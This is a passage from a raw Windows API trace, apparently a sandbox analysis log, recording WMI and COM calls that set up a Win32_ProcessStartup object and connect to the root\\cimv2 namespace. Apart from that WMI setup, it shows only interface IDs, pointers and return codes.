ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0126.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b4825b0) returned 0x0 [0126.055] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4825b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.055] WbemDefPath:IUnknown:Release (This=0x1b4825b0) returned 0x3 [0126.055] CoGetContextToken (in: pToken=0x1b30bf10 | out: pToken=0x1b30bf10) returned 0x0 [0126.055] CoGetContextToken (in: pToken=0x1b30c390 | out: pToken=0x1b30c390) returned 0x0 [0126.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c450 | out: ppvObject=0x1b30c450*=0x0) returned 0x80004002 [0126.055] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x2 [0126.055] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x1 [0126.055] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0126.055] CoGetContextToken (in: pToken=0x1b30d080 | out: pToken=0x1b30d080) returned 0x0 [0126.055] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aee60, riid=0x1b30d1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d1b0 | out: ppvObject=0x1b30d1b0*=0x1b4aee60) returned 0x0 [0126.055] WbemDefPath:IUnknown:AddRef (This=0x1b4aee60) returned 0x3 [0126.055] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x2 [0126.055] WbemDefPath:IWbemPath:SetText (This=0x1b4aee60, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0126.055] IWbemClassObject:Get (in: This=0x1b4d9ed0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27be308*=0, plFlavor=0x27be30c*=0 | out: pVal=0x1b30d590*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27be308*=19, plFlavor=0x27be30c*=0) returned 0x0 [0126.055] IWbemClassObject:Get (in: This=0x1b4d9ed0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27be308*=19, plFlavor=0x27be30c*=0 | out: pVal=0x1b30d580*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27be308*=19, plFlavor=0x27be30c*=0) returned 0x0 [0126.056] IWbemClassObject:Put (This=0x1b4d9ed0, wszName="CreateFlags", lFlags=0, pVal=0x1b30d5e0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0126.056] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afe20, puCount=0x1b30d568 | out: puCount=0x1b30d568*=0x0) returned 0x0 [0126.056] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0126.056] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0126.056] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.056] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d478 | out: ppv=0x1b30d478*=0x6124e8) returned 0x0 [0126.056] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d468 | out: pAptType=0x1b30d468*=1) returned 0x0 [0126.056] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d470 | out: ppvObject=0x1b30d470*=0x0) returned 0x80004002 [0126.056] IUnknown:Release (This=0x6124e8) returned 0x1 [0126.057] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c868 | out: ppv=0x1b30c868*=0x1b4825f0) returned 0x0 [0126.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4825f0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c950 | out: ppvObject=0x1b30c950*=0x0) returned 0x80004002 [0126.057] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4825f0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c928 | out: ppvObject=0x1b30c928*=0x1b4af820) returned 0x0 [0126.057] WbemDefPath:IUnknown:Release (This=0x1b4825f0) returned 0x0 [0126.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af820, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6d0 | out: ppvObject=0x1b30c6d0*=0x1b4af820) returned 0x0 [0126.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af820, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x0) returned 0x80004002 [0126.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af820, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf58 | out: ppvObject=0x1b30bf58*=0x0) returned 0x80004002 [0126.057] WbemDefPath:IUnknown:AddRef (This=0x1b4af820) returned 0x3 [0126.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af820, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be18 | out: ppvObject=0x1b30be18*=0x0) returned 0x80004002 [0126.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af820, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bda0 | out: ppvObject=0x1b30bda0*=0x0) returned 0x80004002 [0126.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af820, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd90 | out: ppvObject=0x1b30bd90*=0x1b482270) returned 0x0 [0126.057] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b482270, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bdb8 | out: pCid=0x1b30bdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.057] WbemDefPath:IUnknown:Release (This=0x1b482270) returned 0x3 [0126.057] CoGetContextToken (in: pToken=0x1b30be40 | out: pToken=0x1b30be40) returned 0x0 [0126.057] CoGetContextToken (in: pToken=0x1b30c2c0 | out: pToken=0x1b30c2c0) returned 0x0 [0126.057] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af820, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c380 | out: ppvObject=0x1b30c380*=0x0) returned 0x80004002 [0126.058] WbemDefPath:IUnknown:Release (This=0x1b4af820) returned 0x2 [0126.058] WbemDefPath:IUnknown:Release (This=0x1b4af820) returned 0x1 [0126.058] CoGetContextToken (in: pToken=0x1b30d0b0 | out: pToken=0x1b30d0b0) returned 0x0 [0126.058] CoGetContextToken (in: pToken=0x1b30cfb0 | out: pToken=0x1b30cfb0) returned 0x0 [0126.058] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af820, riid=0x1b30d110*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d0e0 | out: ppvObject=0x1b30d0e0*=0x1b4af820) returned 0x0 [0126.058] WbemDefPath:IUnknown:AddRef (This=0x1b4af820) returned 0x3 [0126.058] WbemDefPath:IUnknown:Release (This=0x1b4af820) returned 0x2 [0126.058] WbemDefPath:IWbemPath:SetText (This=0x1b4af820, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0126.058] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af820, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0126.058] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af820, lFlags=4, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0126.058] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af820, lFlags=4, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.058] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0126.058] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0126.058] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0126.058] IUnknown:Release (This=0x6124e8) returned 0x1 [0126.058] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cbc8 | out: ppv=0x1b30cbc8*=0x1b482690) returned 0x0 [0126.059] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482690, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ccb0 | out: ppvObject=0x1b30ccb0*=0x0) returned 0x80004002 [0126.059] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b482690, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc88 | out: ppvObject=0x1b30cc88*=0x1b482910) returned 0x0 [0126.059] WbemLocator:IUnknown:Release (This=0x1b482690) returned 0x0 [0126.059] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482910, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca30 | out: ppvObject=0x1b30ca30*=0x1b482910) returned 0x0 [0126.078] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482910, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x0) returned 0x80004002 [0126.078] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482910, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c2b8 | out: ppvObject=0x1b30c2b8*=0x0) returned 0x80004002 [0126.078] WbemLocator:IUnknown:AddRef (This=0x1b482910) returned 0x3 [0126.078] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482910, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c178 | out: ppvObject=0x1b30c178*=0x0) returned 0x80004002 [0126.078] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482910, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c100 | out: ppvObject=0x1b30c100*=0x0) returned 0x80004002 [0126.078] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482910, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0f0 | out: ppvObject=0x1b30c0f0*=0x0) returned 0x80004002 [0126.078] CoGetContextToken (in: pToken=0x1b30c1a0 | out: pToken=0x1b30c1a0) returned 0x0 [0126.078] CoGetContextToken (in: pToken=0x1b30c620 | out: pToken=0x1b30c620) returned 0x0 [0126.078] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482910, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6e0 | out: ppvObject=0x1b30c6e0*=0x0) returned 0x80004002 [0126.079] WbemLocator:IUnknown:Release (This=0x1b482910) returned 0x2 [0126.079] WbemLocator:IUnknown:Release (This=0x1b482910) returned 0x1 [0126.079] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0126.079] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0126.079] WbemLocator:IUnknown:QueryInterface (in: This=0x1b482910, riid=0x1b30d0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b482910) returned 0x0 [0126.079] WbemLocator:IUnknown:AddRef (This=0x1b482910) returned 0x3 [0126.079] WbemLocator:IUnknown:Release (This=0x1b482910) returned 0x2 [0126.079] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af820, puCount=0x1b30d498 | out: puCount=0x1b30d498*=0x2) returned 0x0 [0126.079] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af820, lFlags=8, puBuffLength=0x1b30d490*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d490*=0xf, pszText=0x0) returned 0x0 [0126.079] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af820, lFlags=8, puBuffLength=0x1b30d490*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d490*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.079] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d100 | out: ppv=0x1b30d100*=0x1b4828b0) returned 0x0 [0126.079] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4828b0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d348 | out: ppNamespace=0x1b30d348*=0x1b4cf5b0) returned 0x0 [0126.206] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cf5b0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf78 | out: ppvObject=0x1b30cf78*=0x1b510eb0) returned 0x0 [0126.206] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b510eb0, pProxy=0x1b4cf5b0, pAuthnSvc=0x1b30d040, pAuthzSvc=0x1b30cfc0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4, pImpLevel=0x1b30cfd0, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4 | out: pAuthnSvc=0x1b30d040*=0xa, pAuthzSvc=0x1b30cfc0*=0x0, pServerPrincName=0x1b30cfe8, pAuthnLevel=0x1b30cfc4*=0x6, pImpLevel=0x1b30cfd0*=0x2, pAuthInfo=0x1b30cff8, pCapabilites=0x1b30cfd4*=0x1) returned 0x0 [0126.206] WbemLocator:IUnknown:Release (This=0x1b510eb0) returned 0x1 [0126.206] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cf5b0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf10 | out: ppvObject=0x1b30cf10*=0x1b510ef8) returned 0x0 [0126.206] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cf5b0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf20 | out: ppvObject=0x1b30cf20*=0x1b510eb0) returned 0x0 [0126.206] WbemLocator:IClientSecurity:SetBlanket (This=0x1b510eb0, pProxy=0x1b4cf5b0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0126.206] WbemLocator:IUnknown:Release (This=0x1b510eb0) returned 0x2 [0126.206] WbemLocator:IUnknown:Release (This=0x1b510ef8) returned 0x1 [0126.206] CoTaskMemFree (pv=0x1b461c70) [0126.207] WbemLocator:IUnknown:Release (This=0x1b4828b0) returned 0x0 [0126.207] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cf5b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ca10 | out: ppvObject=0x1b30ca10*=0x1b510ef8) returned 0x0 [0126.207] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510ef8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x0) returned 0x80004002 [0126.225] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510ef8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x0) returned 0x80004002 [0126.228] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4cf5b0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c298 | out: ppvObject=0x1b30c298*=0x0) returned 0x80004002 [0126.250] WbemLocator:IUnknown:AddRef (This=0x1b510ef8) returned 0x3 [0126.250] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510ef8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c158 | out: ppvObject=0x1b30c158*=0x0) returned 0x80004002 [0126.250] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510ef8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c0e0 | out: ppvObject=0x1b30c0e0*=0x0) returned 0x80004002 [0126.250] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510ef8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c0d0 | out: ppvObject=0x1b30c0d0*=0x1b510dd8) returned 0x0 [0126.250] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b510dd8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c0f8 | out: pCid=0x1b30c0f8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.250] WbemLocator:IUnknown:Release (This=0x1b510dd8) returned 0x3 [0126.250] CoGetContextToken (in: pToken=0x1b30c180 | out: pToken=0x1b30c180) returned 0x0 [0126.251] CoGetContextToken (in: pToken=0x1b30c600 | out: pToken=0x1b30c600) returned 0x0 [0126.251] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510ef8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c6c0 | out: ppvObject=0x1b30c6c0*=0x1b510ec0) returned 0x0 [0126.251] WbemLocator:IRpcOptions:Query (in: This=0x1b510ec0, pPrx=0x1b510ef8, dwProperty=2, pdwValue=0x1b30c6b0 | out: pdwValue=0x1b30c6b0) returned 0x80004002 [0126.251] WbemLocator:IUnknown:Release (This=0x1b510ec0) returned 0x3 [0126.251] WbemLocator:IUnknown:Release (This=0x1b510ef8) returned 0x2 [0126.251] CoGetContextToken (in: pToken=0x1b30ccc0 | out: pToken=0x1b30ccc0) returned 0x0 [0126.251] CoGetContextToken (in: pToken=0x1b30cbc0 | out: pToken=0x1b30cbc0) returned 0x0 [0126.251] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510ef8, riid=0x1b30cd20*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30ccf0 | out: ppvObject=0x1b30ccf0*=0x1b4cf5b0) returned 0x0 [0126.251] WbemLocator:IUnknown:AddRef (This=0x1b4cf5b0) returned 0x4 [0126.251] WbemLocator:IUnknown:Release (This=0x1b4cf5b0) returned 0x3 [0126.251] WbemLocator:IUnknown:Release (This=0x1b4cf5b0) returned 0x2 [0126.251] SysStringLen (param_1=0x0) returned 0x0 [0126.251] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af820, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0126.251] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af820, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0126.251] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af820, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, 